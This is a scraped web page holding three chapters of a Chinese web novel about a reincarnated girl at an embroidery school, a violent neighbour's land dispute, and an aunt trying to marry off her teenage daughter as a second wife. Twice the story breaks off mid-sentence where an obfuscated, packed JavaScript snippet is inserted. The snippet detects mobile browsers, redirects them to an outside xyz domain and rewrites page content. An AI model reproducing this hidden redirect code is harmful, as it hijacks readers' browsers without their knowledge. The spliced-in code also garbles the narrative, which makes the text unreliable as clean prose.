独自完成一件带绣花的小衣，针脚绣工还不能超出自己目前水平。这不仅考手上功夫，还考对自身能力的清醒认识。为了防止他人代劳，利用女孩的羞耻心，刻意选了贴身小衣。 好高明的考题。 放了课，她本想找琼姐一起回家，没想到进阶班的考校居然一大早就开始了，没做完不许走。 她只好跟琼姐比了个加油，揣着满腹的考校题目，脚步匆匆先回家。 11.第 11 章 填房 后院里，溪娘正坐在堂屋门口的小凳上，借天光缝小衣裳，肚子已经鼓得老高。 见女儿回来，溪娘脸上浮起温柔的笑意。 “环儿回来啦？学得……”话未说完，她轻呼一声，手抚上肚子，眉眼间全是慈爱，“这小家伙，又踢我呢。” 唐照环立刻忘了烦恼，小跑过去，蹲在娘亲膝前，好奇地把小手轻轻覆在那高高隆起的肚皮上。 果然，掌心下清晰地传来一股有力的顶撞，一下又一下。 “嘿，小不点，知道姐姐回来啦。”唐照环对着肚子打招呼，“在里头闷坏了吧？再忍忍，等瓜熟蒂落，姐姐给你做好玩儿的。” 溪娘笑着拍开她的手：“净胡说，小心吓着他。饿了吧？灶上有饭，今早你十二叔打发人送来的，有肉有菜，快去吃。” 唐照环这才觉出饿来，她跑到灶间，掀开锅盖，里面一碗小米饭，上面盖着勺油亮的臊子，还有翠绿的青菜。 这伙食，可比自家平日好太多了。她心里记下十二叔这份情，捧起碗狼吞虎咽。 吃完饭收拾好，唐照环坐到溪娘身边，眼睛忍不住又瞟向她那快八个月的肚子，圆滚滚像揣了个大西瓜。 “娘亲，家里有啥活计要我做不？劈柴？打水？喂鸡？” 她怕自己接下来三天埋头做小衣，顾不上家里。 溪娘笑着摇头：“傻丫头，你十二叔包了饭食，省下家里多少功夫。如今就喂喂鸡，扫扫院子，轻省得很。你安心琢磨绣艺坊的功课，旁的莫操心。” 唐照环把王教习出的题目一五一十说了：“要做件小衣，还得带绣花，限三天，自己一针一线弄，不能绣得太好，得跟平时水平差不多。” 溪娘听完，立刻明白了出题人的意思。 她鼓励道：“难是难了些，可咱环儿机灵，总能想出法子，用心做便是。” “嗯。”唐照环用力点头，小拳头一握，“娘你放心，我就是赖，也要赖在那绣艺坊，非把本事学到手不可。至少也得待到你安安稳稳把肚子里这小家伙生下来，坐完月子。” 十二叔答应的，只要她还待在绣艺坊，家里的饭食就不会断，她一定不能让溪娘挺着肚子做饭。 这话说得又实在又暖心，溪娘眼眶微热，嗔道：“浑说什么赖不赖的，快去想你的法子。” 唐守仁还没回来，唐照环征用他的书房，将块素白细麻摊在书桌上，托着腮帮子，发愁。 “唉……”她长长叹了口气，心里的小人儿疯狂挠墙，“早知道有今天，当初就不该装得那么‘笨’啊。” 她并非像表现出来得那样，对女红一窍不通。上辈子她为了穿越做准备，可是认真上过好几个刺绣班，缝纫机也用得很是顺手。理论，图样甚至一些讨巧的针法，脑子里存货更不少。 她本想着，寻个合适的时机，不经意展露点天分，就像爽文小说里的主角，扮猪吃虎，一鸣惊人，震惊四座，从此被教习奉为天才，扶摇直上，多痛快。 谁曾想，人算不如天算，王教习不按常理出牌。 第一次考校，竟要求不能超常发挥。 这可好，她给自己挖了个大坑。既不能暴露真实实力，又要在这限制下，做出点能让王教习觉得惊喜的东西。 难，难于上青天。 绣什么好呢？既要简单，又要有点意趣，还得是她这水平能勉强解释得通的。 花？太普通，鸟？太复杂，字？不行，露馅了。 她烦躁地抓了抓头发，想起溪娘之前为了绣那方软缎丝帕上的兰花，配了好多绺不同深浅绿色丝线。后来没用到那么多，还剩了些。 唐照环眼睛一亮。 对啊，绣竹子。 那些丝线染得极好，从嫩柳黄绿到深沉墨绿，过渡自然，正好可以用来表现竹子的新老枝叶和光影层次。 竹竿笔直，只需简单的直线和略带顿挫的竹节，最基础的直针和长短针也能勾勒出竹叶形状。 关键意境好，竹子清雅挺拔，比绣花有格调。而且寓意也好，虚心有节，正合初学者想要努力向上的心境。 她翻出溪娘的宝贝线匣，打开一看，剩线还在。 嫩绿如初春新芽，翠绿似盛夏碧玉，深绿如幽潭沉璧，还有一绺青黄。 唐照环心中大定，立刻拿出炭笔，在布上浅浅比划起来。哪里画竹竿，哪里点缀竹叶，疏密如何安排。在她手下，一丛生机盎然的竹子逐渐成型。 待到日头偏西，琼姐带着过了考校的好消息回家，唐照环已经三下五除二地按照自己的身材做好了件抹胸，只剩完成图样，就可以开始劈线了。 院门在这时被敲响。 “应该是来送饭食的。”唐照环抢先朝大门跑去，“娘你别动，我来。” 她快速抬起门闩，一个身影晃了进来，居然是三叔唐守礼。 他一身半新不旧的靛蓝布衫，脸上堆着那种市井里打磨出来的圆滑笑容，手里还拎着个油纸包。 “三叔来了。”唐照环心下咯噔。 这三叔无事不登三宝殿，更少见他这般提着东西上门，别是黄鼠狼来给鸡拜年了吧？ “找你大娘说点事儿。”唐守礼含糊一句，眼神就往西厢那边溜。 正巧大娘掀帘子出来倒水，一见唐守礼，那平日里总带着三分刻薄的脸上，竟罕见地挤出朵花来：“哎哟，他三叔，快进来坐，大热天的劳你跑一趟。” 那热络劲儿，活像见了财神爷。 唐守礼嘿嘿一笑，顺势把油纸包塞给大娘：“给孩子们带了点麻糖。” 两人一前一后进了西厢房，大娘还特意把琼姐从屋里打发出来，关上了门。 唐照环竖起耳朵，也只听得里面传来压低的说话声，断断续续，听不真切。大娘的声音时而拔高，时而又压低，絮絮叨叨什么难处、指望。三叔的声音则更低，多是应和，偶尔夹着几声放心、包在我身上。 这私聊，竟聊了小半个时辰，日头都快沉到屋脊后头去了。 唐照环心里那点不安像水里的泡泡，越冒越多。唐守仁从县学回来，溪娘把事跟他一说，两口子也交换了个疑惑的眼神。 三弟和大嫂，几时这般亲近了？ 更奇的还在后头。 门帘一掀，大娘满面红光地走出来：“溪娘，多添副碗筷，今儿留三叔在家吃晚饭。” 唐守礼搓着手讪笑：“叨扰二哥二嫂了。” 晚饭摆上了小方桌，气氛起初还算融洽，唐守仁问了问他最近的营生，唐守礼含含糊糊说给人跑跑腿，混口饭吃。大娘则不停给他夹菜，那份殷勤，让溪娘都忍不住多看了两眼。 饭吃到一半，大娘放下筷子，眼圈说红就红。 她先是一声长叹，接着用帕子捂住了脸，哭开了：“我的命苦啊，守义他走得早哇。” 这一哭，桌上顿时静了。 唐守仁和溪娘面面相觑，唐照环也停了筷子，心里暗道，来了。 “留下我们孤儿寡母，守着点薄田破屋，风吹雨打。家里没个顶梁柱撑着，早晚让人啃得骨头渣都不剩。” 大娘哭得情真意切，鼻涕眼泪一起下。她擦了擦眼泪，话锋一转，指向隔壁。 “就说钱贵家那姓孙的，仗着男人是牢头，眼睛都长到头顶上去了。天天处处挤兑我，欺负我没男人出头，憋得我心口疼。” 她猛地抓住旁边低头不语的琼姐的手，力道大得她一缩。 “琼儿，我的儿，娘给你寻了条活路。”她声音陡然拔高，激动地看向闷头扒饭的唐守礼，“他三叔带来了天大的好消息。” 唐守礼被点名，忙不迭点头：“是，是。” 大娘脸上放出奇异光彩：“隔壁县李大官人，你们知道吧，顶顶殷实的人家。原配娘子和老娘上个月没了，家里缺人主持中馈，想趁着热孝续弦，寻个知根知底，性子柔顺的填房。” “填房”二字，她咬得格外重。 “李大官人说了，聘礼丰厚，不要嫁妆。他三叔人面广，认得李大官人府上管事，已经答应过两日就派人过来相看。”她用力摇琼姐的手臂，“你给娘争口气。过了门，吃的是山珍海味，穿的是绫罗绸缎，看那孙婆娘还敢不敢斜着眼睛瞧咱们。” 这番话，如同平地惊雷，炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141091|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得饭桌上死一般寂静。 琼姐的嘴唇哆嗦，一个字也说不出来，只有眼泪无声地大颗大颗往下掉。 唐守仁猛地将筷子拍在桌上，脸色铁青。 “大嫂你糊涂。”他素来温和，此刻声音充满怒意，“琼儿才十四，那李大官人比我哥年份还早，传出去，我唐家的脸往哪搁。” 溪娘也急了，连忙温言劝道：“是啊大嫂，使不得，日子艰难咱们一起想法子，你卖女儿，不，做填房是把她往火坑里推啊。琼儿在绣坊好好学，将来未必没有好出路。” “出路？站着说话不腰疼。”大娘像被踩了尾巴的猫，猛地站起来，指着溪娘和唐守仁骂道，“你们两口子恩爱，守着环丫头过安稳日子，肚子里还踹着一个，哪里晓得我们孤儿寡母的苦楚。没有靠山，我们就是砧板上的肉。绣花能绣出个金山银山来？能挡得住恶邻欺辱？” 她越说越激动，唾沫星子横飞：“填房怎么了，那也是正头娘子。总好过在这破屋里，跟着没用的娘，受人白眼，吃了上顿没下顿。守义啊，你睁眼看看，不是我心狠，是这世道逼得我没活路了啊。” 眼见大娘撒泼，哭嚎声震得屋顶的灰都簌簌往下掉。溪娘眼角余光瞥到唐照环，生怕吓着孩子，更怕她说出什么火上浇油的话来。 她捂住心口：“哎哟，环儿，娘心口疼，馋那后院老桃树上的酸桃了，你去摘几个来，要顶上被日头晒得最红最透的那几颗。” 娘您都八个月的肚子了，早过了嗜酸的月份。 唐照环抬起眼，看了看娘亲递过来的眼色，明白了她的暗示，乖巧地放下筷子，应了一声：“哎，我这就去摘。” 小小的身影跳下凳子，掀开门帘离开。 晚风吹过，带着白日未散的暑气。唐照环深吸一口气，抬头望向枝繁叶茂的歪脖子老桃树。树梢上，几颗半青半红的桃子，在昏黄的天光里若隐若现。 她走到墙角，熟练地搬来几块垫脚的石头，小小的身子灵活地攀上树干，朝着枝头爬去。 枝桠晃动，几片叶子簌簌落下，她的手，稳稳地伸向了那颗看起来最饱满的酸桃。 她刚摸着桃，正待用力一拧。 冷不丁，钱家那扇对着桃树的大窗户被猛地推开。 “挨千刀的小贼，敢偷老娘的桃。”尖利刺耳的叱骂在耳边炸响，正是钱贵的婆娘孙大娘。 她胖硕的身子堵了大半窗口，吊梢眼瞪得溜圆，动作快得惊人，骂声未落，人已经像颗点着了引信的炮仗，手里抄着一根足有丈把长的晾衣竹竿，冲进自家后院。 “小贱蹄子，给我滚下来。” 孙大娘手里的竹竿带着风声，恶狠狠朝着还攀在树杈上的唐照环戳了过去。那架势，哪里是赶人，分明是要把人捅个对穿。 唐照环吓得魂飞魄散，她这十岁的小身板，挂在树上本就摇摇晃晃，哪还顾得上桃子，慌忙手脚并用往下溜。可那竹竿来得又急又刁，她身子刚挪开半分，硬邦邦的竿头狠狠怼在她小腿肚子上。 剧痛传来，她登时失了平衡，像只断了线的纸鸢，惊叫着就从一人多高的树杈上栽了下来。万幸树底下泥地松软，又刚浇过菜，她只摔了个结结实实的屁股墩儿，可手里死死攥着的那颗酸桃滚出老远。 身上火辣辣钻心疼，心里惊吓委屈，唐照环再也忍不住，放声大哭，哭声又尖又亮，瞬间撕裂了黄昏的宁静。 唐家堂屋里正吵得不可开交的众人，被这撕心裂肺的哭喊惊动，呼啦一下全涌了出来。 后院顿时挤满了人。唐守仁一眼就看到自家闺女坐在泥地里，小脸糊满眼泪鼻涕，裤腿上沾着清晰的泥印子。 溪娘一把将女儿搂进怀里，检查她的身上四处，心疼得直掉眼泪：“我的儿啊。” 大娘叉腰指着孙大娘就骂：“好你个泼妇，敢打我唐家闺女，反了天了。” “孙氏，你想杀人吗。”唐守仁目眦欲裂，一股热血直冲头顶。 孙大娘杵着竹竿，站在两家后院那道之间象征意义大于实际作用的篱笆旁，非但没有半点愧疚，反而把胸脯挺得更高：“敢偷我家的桃，我打她应该。” 12.第 12 章 摘桃 “偷你家的桃？” 唐守仁气得声音都变了调，指着主干分明在唐家院内的老桃树，“桃树是我唐家祖辈栽下的，长在我唐家院子里。我闺女摘自家树上的桃子，碍着你什么了？你竟下如此狠手，你，你还有没有良心。” “呸！” 孙大娘把竹竿往地上一顿，一口浓痰差点啐到唐守仁脸上，“唐守仁，少你娘在这儿放屁，睁开你的狗眼看看，这枝桠伸到我家地界。它长在我家头顶上，吸着我家的风水日头，结的果子自然是我家的。这小蹄子鬼鬼祟祟来偷摘，老娘赶贼天经地义。没打断她的腿，算老娘心善。” 钱福妞也闻声跑了出来，一看是唐照环摔了，非但没有同情，反而拍着手直笑。 “活该，娘，打得好，就该打死这小贼。” 她添油加醋，“她家不止偷桃，你看后院靠着墙根堆的柴火，都伸到篱笆这边。还有鸡窝也挨着墙，臭味都飘咱家来。这老桃树更是祸害，枝枝杈杈全压在屋顶上，掉叶子砸瓦片，早该砍了。依我说，这树冠罩着的地方，都该归我家。” 钱福妞这话一出，孙大娘眼睛亮了：“听听，听听，孩子都懂的道理。姓唐的，你也甭废话了，这桃树必须砍，从根砍，省得它枝杈乱伸，碍眼又生事。你要是不舍得，以后这树冠影子罩着的地方就是我钱家的地界，你们唐家往后少往这动土。” “你胡说八道，强词夺理。” 唐守仁被她气得眼前发黑。若依她这般算法，唐家后院怕是要去掉大半，简直明抢。 “树是我家的，地契上写得明明白白。后院也是我唐家的祖产，岂容你们红口白牙就占去大半？还有没有王法。” “王法？” 孙大娘嗤笑一声，满脸横肉都透着不屑，“在这永定县，我男人说的话，就是王法。” 眼看双方剑拔弩张，火药味浓得一点就炸。 唐守礼清清嗓子，挤出点油滑的笑容，往前凑了两步：“哎哟，钱家嫂子，福妞儿，消消气，消消气嘛。都是邻里邻居的，抬头不见低头见，为了几个桃儿，值当动这么大肝火。小孩子家不懂事，摔也摔了，哭也哭了，我看这事儿要不……” 他话还没说完，钱家后院临街的小门被打开，钱贵回来了。 钱贵生得五大三粗，满面阴鸷，身后还跟着两个同样穿着衙门号服，手里提着长棍，一看就不是善茬的汉子。钱贵本人更提着一杆磨得锃亮的长枪，枪尖闪着寒光。 他往院中一站，杀气腾腾，顿时让周围几家扒墙头看热闹的邻居全缩了回去，门窗紧闭，连大气都不敢喘。 孙大娘立刻找到了靠山，竹竿指向唐守仁和还在抽噎的唐照环：“当家的，你回来的正好。唐家的小贱蹄子偷咱家树上的桃，被我抓个正着，唐二还要跟我们论理呢。” 钱福妞也扑过去抱着她爹的腿告状：“唐照环偷桃摔下来活该，唐二叔凶我娘。” 钱贵看都没看唐守礼，只盯着唐守仁，用枪尖点了点地上的酸桃：“唐守仁，管好你家的人。再敢把手伸到我钱家地界，就不是摔一跤这么便宜了。” 孙大娘指着唐守礼的鼻子再骂：“唐老三你少在这儿充大瓣蒜，你算哪根葱。我可听说了，你又在外面欠了一屁股赌债，苦主跟我男人衙门里的兄弟熟得很。他们可不像我们这么好说话，真闹起来，你这身板经得起几棍子。” 这话如同兜头一盆冰水，把唐守礼浇了个透心凉。 那些兄弟的手段，他可是门儿清，真是吃人不吐骨头的主儿，自己要是落到他们手里…… “误会，都是误会。” 唐守礼腰不自觉地弯了下去，对着钱贵和孙大娘连连作揖，“钱大哥，钱大嫂，您二位大人大量，别跟小丫头片子一般见识。我这就说说他们，说说他们。” 他嘴里胡乱应付，身子像泥鳅一样，贴着墙根，飞快地溜出了后院，转眼就消失在暮色里，比兔子还快。 唐守礼这一跑，唐家这边气势顿时矮了一大截。大娘气得直跺脚：“没用的东西，窝囊废。” 钱贵很满意这效果：“唐守仁，我婆娘说的，就是我的意思。这树，碍事。枝子，越界。罩着的地，不清净。给你三天，自己砍了，把地清出来。” 他掂了掂长枪，后面的话没说，比说出来更瘆人。 唐守仁挺直了腰杆，目光如炬，盯着钱贵：“钱牢头，是非曲直自有公论。桃树是我唐家祖产，有地契为凭。你婆娘不问青红皂白，殴打我女，更口出狂言，妄图强占我家地界。 我唐守仁虽是一介白身，也认得几个字，懂得律法。明日我便去县衙击鼓，请知县明鉴。先查看地契存档，再判定这光天化日之下强抢民产，殴打幼女的行径，到底该当何罪。” 这番话掷地有声，钱贵的脸终于变了变。 唐守仁在县学里出了名的刻苦，学问扎实，颇得几位夫子看重。知县前些日子视察县学时，还特意问过他的学业，言语间颇有期许之意。这事钱贵是知道的。 若真闹到公堂上，知县对唐守仁有好印象在先，再翻出地契存档…… 他当然知道自家这些年借着篱笆易动，是怎么一点点挤占唐家院墙根的。真要把官司打到县衙，当堂验看地契，自己这边根本不占理，他这牢头的位置，怕也坐不安稳。 孙大娘是个泼辣的，更是个精明的。她一看自家男人眼神闪烁，枪杆微松，就知道他怂了。 这怎么行？今日若退了，以后还怎么压着唐家。 她眼珠子骨碌一转，计上心来。 她捂住心口，脸上瞬间做出痛苦扭曲的表情，手里的竹竿哐当一声掉在地上。 “哎，哎哟，我的头，气死我了，气死我了。” 话音未落，她作势要往地上瘫。 钱福妞尖叫了一声，慌忙去扶：“娘你怎么了，唐家人把你气晕了。爹，快救娘啊。” 钱贵正愁没台阶下，见状立刻借坡下驴，一步跨过去搀住自家婆娘，对着唐守仁恶狠狠地吼道：“姓唐的，你把我家婆娘气晕过去，这笔账老子记下了。再有下次，老子拆了你这破院子。我们走！” 他色厉内荏地撂下狠话，给手下使了个眼色，几个人七手八脚抬起孙大娘，退回屋子，重重关上了门。 一场闹剧，以孙大娘拙劣的晕倒暂时收了场。 大娘把一切都看在眼里。她没去管泥地里的侄女，只是走到唐守仁身边，脸上显现近乎病态的亢奋。 “看见没？你们都看见了吧，这就是没靠山的下场。姓孙的敢这么嚣张，就因为她男人是牢头，手里有棍子，衙门里有兄弟。唐守礼为什么怂成那样？因为他就是个没根底的浮萍，谁都敢踩一脚。” 她越说越激动，目光落在琼姐惨白绝望的脸上。 “这世道，弱肉强食，光会绣花顶个屁用。能挡棍子？能吓退钱贵那样的豺狼？ 琼儿，听娘的，只要你做了李大官人的填房，成了官绅娘子，看这对狗男女，还敢不敢拿竹竿捅我们唐家的人，还敢不敢说我们占了他们的地。见了你，他们得跪着叫奶奶，把吞进去的地界，连本带利给我吐出来。” 唐守仁和溪娘望着状若癫狂的大娘，再看看被恐惧笼罩的琼姐，只觉寒意从脚底直窜上头顶。 “琼丫头是守义大哥的骨血，是我的亲侄女。就因为钱贵家这等腌臜泼才欺上门来，你就狠心把她往火坑里推。” 唐守仁斩钉截铁地拒绝。 “就算钱贵拿刀架在我脖子上，就算他把这后院全占了去，我也断不会让你卖了琼丫头。这门亲事，我死也不同意。” 三日假晃眼就过，唐照环腿上的青紫也消得差不多。 她拿了包袱，在课室坐定，瞧见旁边小伙伴眼下一圈黑青，又看前排一身绫罗绸缎的钱福妞愁眉苦脸地摆弄着手中不成形的布料，再低头打量自个包裹里叠得整整齐齐的小衣，心下顿觉不妙。 好像……太熟练了？ 对呀，自己明明现在才十岁，入门班的小娘子们刚开课，连剪刀都拿不稳当，哪能做出这般完整的小衣。 想来王教习本意就是让她们尝尝这女红的苦头，明白其中不易，压根儿没指望真能做完。 唐照环左右一瞄，飞快地把小衣掏出来，也顾不得找剪子，麻利地寻了小衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150292|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的线头，悄悄拆开几处，又用针线故意歪歪扭扭地胡乱缝了几针。最后将布料揉搓出几道褶皱，把完美的手工硬生生弄得像个糙活。 王教习板着一张脸走了进来：“时辰到，把你们做的小衣拿出来，摆在面前案上。” 唐照环学着他人的样子，装出一副忐忑模样，扭扭捏捏地不肯拿。 王教习柳眉一竖，用戒尺在长案上重重一敲：“拿出来，莫要让我再催第二遍。” 众人吓得一哆嗦，只好将功课摊于桌上，供王教习检查，只见布料扭曲，线头乱飞，针脚歪斜，真正是惨不忍睹。 王教习缓步走下讲台，挨个查看。她面上无甚表情，只在看到特别离谱的针脚时，眉头紧蹙。 果然她并未追究何人做完何人未完，只是边走边说：“想来各位也都明白了，只是做个最简单的小衣就如此辛苦，若要做一整套里外衣裳又该耗费多少心血。 我知你们中许多人，来此不过为博个‘绣艺坊学过’的名头，好回家议亲。 日后为人妇主中馈，四季衣裳，阖家穿戴，哪一样不得你们张罗？若是有幸嫁入高门大户，掌理内宅，上上下下几十甚至上百口人的吃穿用度人情往来，哪一样不是千头万绪。 依我朝风俗，女子十五六便要定亲，开始缝制嫁衣，供十八出嫁之用。成亲之时，男方亲朋好友，家中下人，无不从各位嫁衣的针脚评价新妇能否持家。若被人当做绣花枕头，评价差还是其次，最怕强仆欺主，这其中的猫腻可就多了去了。留予各位的时光已然不多，还望努力学习才是。” 听完王教习的话，众人皆羞愧低头，不敢与之对视。 唐照环眼风里瞥见王教习的皂色裙角走到了自己跟前，她赶忙低下头，避免与她目光相触。 只见王教习将她的小衣拿起，端详良久，徐徐开口道：“这竹子针法意境和缝制不在相同水准，是否有人助你？” 来了。 唐照环对此早有预案。 她故作声若蚊蝇道：“回教习的话，此小衣完全出自学生之手，只是竹子刺绣确实受了他人指点，但动手皆是学生自己来的。” “无妨。以你这般年纪，做到这等地步已算超出常人。若今后肯下苦工练习，倒可当一技傍身。”她指着竹子问道，“这竹子是谁指点的？你娘亲？” 唐照环正欲点头，灵光一闪，娘亲如今肚子大了不宜动针，万一两人相遇提及此事便不妥当了。脑中迅速盘算一番，她计上心来。 “回教习，是我堂姐。” “唐照琼？”王教习目光一凝，语气半信半疑。 “正是。前日她来寻我，见我尚未定下花样，便指点了几句。”见王教习神情疑虑，唐照环眼珠一转，添油加醋道，“我堂姐可厉害了，只是她不爱表现。前几日，她绣好的一整套褙子用的大花片，卖了好几两银子呢。” 王教习眼中似有光芒闪过，不动声色地放下绣品，转身继续授课去了。 唐照环长出一口气，总算过关了。 岂料放课后，王教习竟唤住她，令其随自己去进阶班，说是要当面询问琼姐此事是否属实。 唐照环心中暗叫不妙，趁着王教习与吴教习交谈之际，赶忙溜到琼姐身边。 “琼姐救命！” 她拉着琼姐的袖子，急切地小声道，“教习要考你关于竹子绣法的事，你只管说是你教我的，千万别露馅儿。” 琼姐声音发颤：“我会害了你的。” 唐照环见她又要缩手缩脚，忙不迭道：“你平日里绣的竹子我可是见过的，只是人不知道罢了。” 琼姐想到平日唐照环对自己的维护，心一横，用力点了点头。 到了课室，王教习将那幅绣着青竹的小衣在长案展开，直言问道：“唐照琼，你堂妹坦言这竹子刺绣是你指点的，可有此事？” 琼姐紧紧攥着衣角不敢抬头，唐照环在一旁给她使眼色，暗暗点头鼓励。 琼姐手心全是冷汗：“回，回教习的话，是的。” 王教习尾音上扬：“那你且说，这竹子该如何绣法？” 13.第 13 章 备用绣娘 琼姐犹豫着开口：“这，这竹叶宜用藏针法。” “大声些。”王教习道。 “竹叶宜用藏针法。”琼姐一惊，声音陡然提高，随即又低下头去，“竹节须留白，针脚要紧密些。” 王教习目光微沉：“只此而已？” 唐照环在一旁急得直跺脚，就见琼姐抬头，声音虽轻却渐渐流畅：“教习明鉴，竹子虽简却最难在神韵。竹子清瘦，构图需留白，方显其挺拔萧疏之意。色彩以套针由浅入深层层晕染，叶根处则需破线捻入墨绿老线，方能显出由新及老的层次。” 王教习又问了几个刁钻问题，琼姐娓娓道来，条理清晰，见解独到，不仅完美回应了唐照环所说的指点，更展现出远超同龄人的扎实功底。 原来这丫头真有几分才情，只是被怯懦性子埋没了。 王教习对琼姐赞赏颔首：“嗯，说得不错。你且留下，我有几件绣样想请你看看。莫要总是畏畏缩缩，好手艺不该藏着掖着。” 琼姐如蒙大赦，赶紧行礼。 王教习转向唐照环，依旧板着脸，语气已截然不同：“唐照环，你堂姐指点是真，但你投机取巧亦是不假。罚你今日留下，将拆坏的地方按规矩重新缝好。针脚若再歪斜，明日加倍罚过。” 虽是惩罚，更像督促。 “是，教习，学生知错了。” 唐照环赶紧应下，心中一块大石终于落地。 她冲琼姐眨眨眼，暗自得意。这关闯得值，不但保住了自己，还替她寻了条出路，一石二鸟。 干完教习交代的任务，日头还老高。唐照环没急着回家，小脑袋瓜里转得飞快。 这几日大娘虽没再当众提填房的事，可保不定她私下推动。 不行，得找帮手。 想来想去，三叔唐守礼成了她眼下唯一能撬动的棋子。 她迈着小短腿，熟门熟路地往坊市那边溜达。永定县城极小，茶馆赌坊都在一条街，往那边走准能遇见。 果然没走多远，就瞅见唐守礼正蔫头耷脑地蹲在墙角，对着地上的蚂蚁唉声叹气。 “三叔。”唐照环脆生生喊了一嗓子，小脸上堆起天真无邪的笑容，把一个喷香的芝麻饼塞了过去，“我娘让我买的饼，还热乎，分您一个。” 唐守礼被吓了一跳，抬头见是她，卸去了提防，接过饼狼吞虎咽开啃：“你爹还好吧？” 他想起那天自己临阵脱逃，脸上有点臊得慌。 “还好，就是惦记着琼姐的事儿，愁啊。”唐照环顺势在他旁边蹲下，小大人似的也叹了口气，“三叔，您别叹气了。我知道，您那天说李大官人的事儿也是好心，想让琼姐过好日子，少吃点苦头，对吧？” 这话算是挠到了唐守礼的痒处。他正愁没人理解他，立刻打开了话匣子。 “环丫头，你是明白人。李大官人虽说年纪大了点，可人家正经富户，家里田产铺子，手指缝里漏点都够你琼姐吃香喝辣一辈子。过去当填房夫人，又不是做丫头，总比在家天天挨你大娘的骂强。三叔我不也是心疼琼丫头，想给她找个好去处吗？” 他说得情真意切，仿佛自己真是那救苦救难的活菩萨。 唐照环心里冷笑，面上露出恍然大悟的表情：“其实三叔不用担心，绣艺坊的王教习可看重琼姐了。 您没瞧见，今儿早上，琼姐在教习面前论起针法绣理，那叫一个头头是道，把教习都听呆了。 教习说，琼姐天赋是她这些年见过拔尖儿的，只要好好学，将来在绣行里必是头一份的人物。说不定，还能进宫当供奉呢。” “真的？”唐守礼眼睛瞪大了。他虽然不懂绣花，但“宫里供奉”四个字的分量，他还是懂的，那是泼天的富贵和体面。 “千真万确！”唐照环用力点头，小脸上满是认真，“就算不进宫，只要琼姐被王教习收做了关门弟子，绣一幅大件，也能值上百两银子。 三叔见多识广，人面又熟，到时候十二叔做东，开个绣庄啥的，不得请您去帮忙打理采买，做个体体面面的大掌柜。” 她绘声绘色地给唐守礼画了一张充满诱惑的大饼。 唐守礼听得心头发热。 穿着绸衫，在气派铺子里指派人手，可比介绍个填房赚点牵线钱诱人多了。 但是，他狐疑地看着眼前才十岁的小侄女，总觉得这话从一个娃娃嘴里说出来，有点不真实。 “环丫头，你说的当真？王教习真那么说？”唐守礼舔了舔有些发干的嘴唇，追问道。 “我还能骗三叔不成？”唐照环见他意动，知道火候差不多了，抛出真正目的，“三叔，李大官人再好，咱们也得弄清楚。他家大业大，什么样的好女子寻不着？怎么就巴巴地看上咱们家琼姐了？还这么急吼吼的。” 唐守礼下意识地顺着她的话想：“自然是琼丫头，呃，名声好，模样周正。” 唐照环压低声音，神神秘秘地说：“您得打听个实底儿，李大官人，到底是真心实意要娶琼姐做填房，还是只想纳个妾。 真做正头娘子，也算门好亲。可要是做妾，琼姐这辈子毁了，唐家也跟着没脸。就算最后事没成，琼姐以后出息了，知道您曾经牵线让她去做妾。她心里怨您，体面的大掌柜可就……” 唐守礼被唐照环童言一点，冷汗瞬间就下来了。 是啊，李大官人何等人物，真要娶正头填房，周围几个县多少体面人家的小娘子等着，怎么就轮到他唐家这没爹的孤女了。 若真是做妾，不说二哥家生撕了他，族长那边也交代不过去。 看着小侄女那双仿佛能洞察人心的眼睛，唐守礼第一次觉得这丫头片子不简单。 他咽了口唾沫：“环丫头，你脑瓜子灵光，三叔差点被蝇头小利蒙了眼。是填房还是做小，一定给你个准信儿，事儿包在三叔身上。” “三叔您真好。”唐照环甜甜道谢，“大娘那边催得急呢，我等您的好消息。” 她站起身，拍拍灰，蹦蹦跳跳地走了，留下唐守礼蹲在墙角，望着她的背影，眼神复杂，半晌才喃喃自语： “丫头了不得啊，唐家怕是要出人物了。” 花开两朵，第二日，绣艺坊陡然掀起一阵惊涛。 这日授课刚毕，王教习并未像往常般立即离开，而是将所有人带进了进阶班。 吴教习面色端肃，郑重地说：“肃静，有要事宣布。” 课室里瞬间落针可闻。 “方才得东京绫锦院和洛阳绫绮场传讯，下月十五，宗室贵胄将亲赴永厚陵祭祖。此乃朝廷大事，丝毫马虎不得。我绣艺坊承蒙信重，负责部分祭仪所需绣品。为保万全，除原本定下的资深绣娘外，特从进阶班中，征调三位备用绣娘随队听用。” 底下顿时炸开了锅，进阶班的小娘子们个个眼睛发亮，呼吸急促。若能入选，不仅工钱丰厚，更是履历上金光闪闪的一笔，日后无论嫁人还是自立门户，身价能水涨一阶。 就连入门班的小娘子们也满眼艳羡。 “十五日后，于坊内进行考校。考校内容届时公布，择优录取，只看本事，不问出身。望各位勤加练习，莫失良机。” 两位教习公布完消息，径直离开。 唐照环站在最后一排，心比旁人跳得更快更响。她敏锐地捕捉到，宣布消息时，王教习的目光在琼姐身上停留了一瞬。 琼姐的机会来了！ 一个大胆的计划瞬间在唐照环的小脑袋瓜里成型。她强压下激动，亲亲热热地挽住琼姐的胳膊，跟她说自己有事，让她先回去。 她故意磨蹭绕了一大圈才到家，路上一直在脑中完善计策。 刚进家门，就听见大娘又在指桑骂槐地数落琼姐动作慢，白吃饭。琼姐低着头，一言不发。 